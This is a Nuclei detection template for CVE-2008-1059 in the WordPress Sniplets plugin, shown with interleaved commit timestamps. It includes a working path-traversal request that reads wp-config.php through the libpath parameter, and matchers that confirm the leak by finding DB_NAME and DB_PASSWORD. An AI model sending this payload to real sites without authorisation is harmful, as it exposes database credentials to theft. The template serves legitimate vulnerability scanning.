nuclei-templates/http/cves/2008/CVE-2008-1059.yaml

48 lines
1.7 KiB
YAML
Raw Normal View History

id: CVE-2008-1059
2022-02-12 17:57:12 +00:00
info:
name: WordPress Sniplets 1.1.2 - Local File Inclusion
2022-02-12 17:57:12 +00:00
author: dhiyaneshDK
severity: high
2022-08-10 07:37:55 +00:00
description: |
PHP remote file inclusion vulnerability in modules/syntax_highlight.php in the Sniplets 1.1.2 and 1.2.2 plugin for WordPress allows remote attackers to execute arbitrary PHP code via a URL in the libpath parameter.
2023-09-06 13:22:34 +00:00
remediation: |
Update WordPress Sniplets to the latest version or apply the patch provided by the vendor to mitigate the LFI vulnerability.
reference:
- https://www.exploit-db.com/exploits/5194
- https://wpscan.com/vulnerability/d0278ebe-e6ae-4f7c-bcad-ba318573f881
- https://nvd.nist.gov/vuln/detail/CVE-2008-1059
2023-07-11 19:49:27 +00:00
- http://securityreason.com/securityalert/3706
2023-07-15 16:29:17 +00:00
- https://exchange.xforce.ibmcloud.com/vulnerabilities/40829
classification:
2023-07-11 19:49:27 +00:00
cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
cvss-score: 7.5
cve-id: CVE-2008-1059
2023-07-11 19:49:27 +00:00
cwe-id: CWE-94
epss-score: 0.01493
epss-percentile: 0.85392
2023-09-06 13:22:34 +00:00
cpe: cpe:2.3:a:wordpress:sniplets_plugin:1.1.2:*:*:*:*:*:*:*
metadata:
max-request: 1
2023-07-11 19:49:27 +00:00
vendor: wordpress
product: sniplets_plugin
tags: lfi,cve,cve2008,wordpress,wp-plugin,wp,sniplets,edb,wpscan
2022-02-12 17:57:12 +00:00
http:
2022-02-12 17:57:12 +00:00
- method: GET
path:
- '{{BaseURL}}/wp-content/plugins/sniplets/modules/syntax_highlight.php?libpath=../../../../wp-config.php'
matchers-condition: and
matchers:
- type: word
part: body
2022-02-12 17:57:12 +00:00
words:
- "DB_NAME"
- "DB_PASSWORD"
condition: and
- type: status
status:
- 200
# digest: 4a0a004730450220691dac2327577d941be44addd85fd79f27b6029df809dc559bdf8a9ed5bce1de022100c6361800034a5cddb0d6e2f608d90932d9465ecdae7d7b7fe98460aa94e10556:922c64590222798bb761d5b6d8e72950